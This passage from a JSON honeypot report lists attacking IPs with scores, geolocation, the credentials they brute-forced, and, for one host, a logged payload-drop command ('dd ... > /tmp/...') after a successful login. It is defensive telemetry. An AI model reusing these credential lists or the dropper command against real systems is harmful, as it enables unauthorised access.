        "pippo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:39:34.205000+00:00",
        "last_seen_30d": "2026-03-10T23:48:08.867000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "47.76.139.44": {
      "attack_count": 15,
      "first_seen": "2026-03-17T12:32:16.165Z",
      "last_seen": "2026-03-17T12:32:20.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "password"
      ],
      "commands_executed": [
        "",
        ">D6@/XJ'8",
        "dd bs=1 count=1911588 > /tmp/j1dXZdD4hE"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T12:32:16.165000+00:00",
        "last_seen_30d": "2026-03-17T12:33:29.650000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 3
      }
    },
    "192.119.111.44": {
      "attack_count": 12,
      "first_seen": "2026-03-04T19:04:40.071Z",
      "last_seen": "2026-03-22T19:02:32.479Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 54290,
      "as_org": "Hostwinds LLC.",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:58:37.826000+00:00",
        "last_seen_30d": "2026-03-30T06:03:03.091000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 12
      }
    },
    "172.94.9.59": {
      "attack_count": 10,
      "first_seen": "2026-03-05T20:01:58.896Z",
      "last_seen": "2026-03-06T04:04:18.049Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "2026@Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:43:29.578000+00:00",
        "last_seen_30d": "2026-03-14T04:43:23.428000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Cowrie": 10,
        "Heralding": 10
      }
    },
    "180.169.100.182": {
      "attack_count": 10,
      "first_seen": "2026-03-15T10:37:25.460Z",
      "last_seen": "2026-03-15T10:46:35.734Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "erwin",
        "tms"
      ],
      "passwords_attempted": [
        "erwinpass",
        "tms"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T10:37:25.460000+00:00",
        "last_seen_30d": "2026-03-15T10:47:44.786000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "38.188.160.5": {
      "attack_count": 10,
      "first_seen": "2026-03-11T00:31:29.382Z",
      "last_seen": "2026-03-11T00:33:38.271Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "191285",
        "261083"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:31:29.382000+00:00",
        "last_seen_30d": "2026-03-11T00:34:46.738000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "46.8.68.17": {
      "attack_count": 10,
      "first_seen": "2026-03-27T21:39:28.224Z",
      "last_seen": "2026-03-27T21:40:07.047Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-27T21:39:28.224000+00:00",
        "last_seen_30d": "2026-03-27T21:47:38.671000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 9,
        "Honeytrap": 1
      }
    },
    "64.62.197.190": {
      "attack_count": 8,
      "first_seen": "2026-03-11T11:59:23.424Z",
      "last_seen": "2026-03-16T12:15:35.235Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 71.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 29,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T06:43:16.614000+00:00",
        "last_seen_30d": "2026-03-30T12:53:44.632000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 8,
        "Honeytrap": 1
      }
    },
    "93.174.95.106": {
      "attack_count": 8,
      "first_seen": "2026-03-07T08:00:32.978Z",
      "last_seen": "2026-03-07T08:00:35.583Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 96.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T02:48:20+00:00",
        "last_seen_30d": "2026-03-31T11:25:59.048000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 319,
        "Honeytrap": 104,
        "Cowrie": 8,
        "ConPot": 6,
        "Ipphoney": 2,
        "Dicompot": 1
      }
    },
    "40.124.175.166": {
      "attack_count": 7,
      "first_seen": "2026-03-09T20:58:43.788Z",
      "last_seen": "2026-03-09T20:58:53.788Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 15.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 18,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T20:58:05.207000+00:00",
        "last_seen_30d": "2026-03-26T06:35:28.849000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 7,
        "Honeytrap": 6
      }
    },
    "167.94.138.182": {
      "attack_count": 6,
      "first_seen": "2026-03-14T19:36:03.592Z",
      "last_seen": "2026-03-14T19:36:41.857Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.5,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 20,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-03T17:35:55+00:00",
        "last_seen_30d": "2026-03-22T07:38:16.208000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 114,
        "Honeytrap": 40,
        "ElasticPot": 8,
        "Cowrie": 6,
        "H0neytr4p": 4,
        "ConPot": 2,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "200.46.216.165": {
      "attack_count": 6,
      "first_seen": "2026-03-08T13:32:12.643Z",
      "last_seen": "2026-03-30T07:55:00.218Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:32:12.643000+00:00",
        "last_seen_30d": "2026-03-30T07:56:02.148000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "60.205.254.131": {
      "attack_count": 6,
      "first_seen": "2026-03-12T04:57:04.267Z",
      "last_seen": "2026-03-12T04:57:08.477Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "5eCLYanr2N",
        "Aa@123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T04:57:04.267000+00:00",
        "last_seen_30d": "2026-03-12T04:59:04.072000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
    "101.126.88.251": {
      "attack_count": 5,
      "first_seen": "2026-03-17T06:09:56.142Z",
      "last_seen": "2026-03-17T06:09:58.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "mailtest"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:09:56.142000+00:00",
        "last_seen_30d": "2026-03-17T06:11:04.440000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "185.220.101.109": {
      "attack_count": 5,
      "first_seen": "2026-03-05T01:51:35.510Z",
      "last_seen": "2026-03-05T01:51:40.379Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T16:57:29+00:00",
        "last_seen_30d": "2026-03-05T01:52:48.107000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "H0neytr4p": 4
      }
    },
    "47.253.135.170": {
      "attack_count": 5,
      "first_seen": "2026-03-13T17:08:44.355Z",
      "last_seen": "2026-03-23T04:07:46.061Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T17:08:44.355000+00:00",
        "last_seen_30d": "2026-03-27T21:01:13.570000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 5,
        "Honeytrap": 4
      }
    },
    "74.94.206.86": {
      "attack_count": 5,
      "first_seen": "2026-03-18T23:18:49.936Z",
      "last_seen": "2026-03-18T23:18:53.056Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Root@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Pittsburgh",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-18T23:18:49.936000+00:00",
        "last_seen_30d": "2026-03-18T23:20:09.488000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "147.185.132.225": {
      "attack_count": 4,
      "first_seen": "2026-03-16T16:56:51.205Z",
      "last_seen": "2026-03-16T16:56:54.362Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 27,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-03T16:21:43.010000+00:00",
        "last_seen_30d": "2026-03-29T04:12:34.476000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 25,
        "Mailoney": 5,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Dicompot": 1,
        "Tanner": 1
      }
    },
    "199.45.155.75": {
      "attack_count": 4,
      "first_seen": "2026-03-07T18:55:50.441Z",
      "last_seen": "2026-03-07T18:56:05.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T07:46:02+00:00",
        "last_seen_30d": "2026-03-27T02:29:39.472000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "2.57.121.86": {
      "attack_count": 4,
      "first_seen": "2026-03-28T16:02:25.110Z",
      "last_seen": "2026-03-28T16:02:27.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:02:25.110000+00:00",
        "last_seen_30d": "2026-03-28T16:03:35.300000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "47.52.93.181": {
      "attack_count": 4,
      "first_seen": "2026-03-31T16:51:42.263Z",
      "last_seen": "2026-03-31T16:52:05.805Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T16:51:42.263000+00:00",
        "last_seen_30d": "2026-03-31T16:53:07.090000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "209.38.136.86": {
      "attack_count": 3,
      "first_seen": "2026-03-05T20:05:38.774Z",
      "last_seen": "2026-03-05T20:05:39.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-05T20:05:38+00:00",
        "last_seen_30d": "2026-03-05T20:06:51.236000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 14,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1
      }
    },
    "64.23.157.154": {
      "attack_count": 3,
      "first_seen": "2026-03-23T01:50:55.869Z",
      "last_seen": "2026-03-23T01:50:55.874Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T01:50:55.869000+00:00",
        "last_seen_30d": "2026-03-23T01:52:01.084000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "110.36.77.148": {
      "attack_count": 2,
      "first_seen": "2026-03-19T18:05:01.904Z",
      "last_seen": "2026-03-19T18:05:16.493Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T18:05:01.904000+00:00",
        "last_seen_30d": "2026-03-19T18:06:25.256000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.72.213.33": {
      "attack_count": 2,
      "first_seen": "2026-03-18T16:40:56.839Z",
      "last_seen": "2026-03-18T16:41:29.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T16:40:56.839000+00:00",
        "last_seen_30d": "2026-03-18T16:42:36.274000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "117.247.255.185": {
      "attack_count": 2,
      "first_seen": "2026-03-09T13:51:39.151Z",
      "last_seen": "2026-03-09T13:51:52.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Alath\u016br",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T13:51:39.151000+00:00",
        "last_seen_30d": "2026-03-09T13:52:54.777000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.224.150.216": {
      "attack_count": 2,
      "first_seen": "2026-03-26T10:26:51.022Z",
      "last_seen": "2026-03-26T10:27:05.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
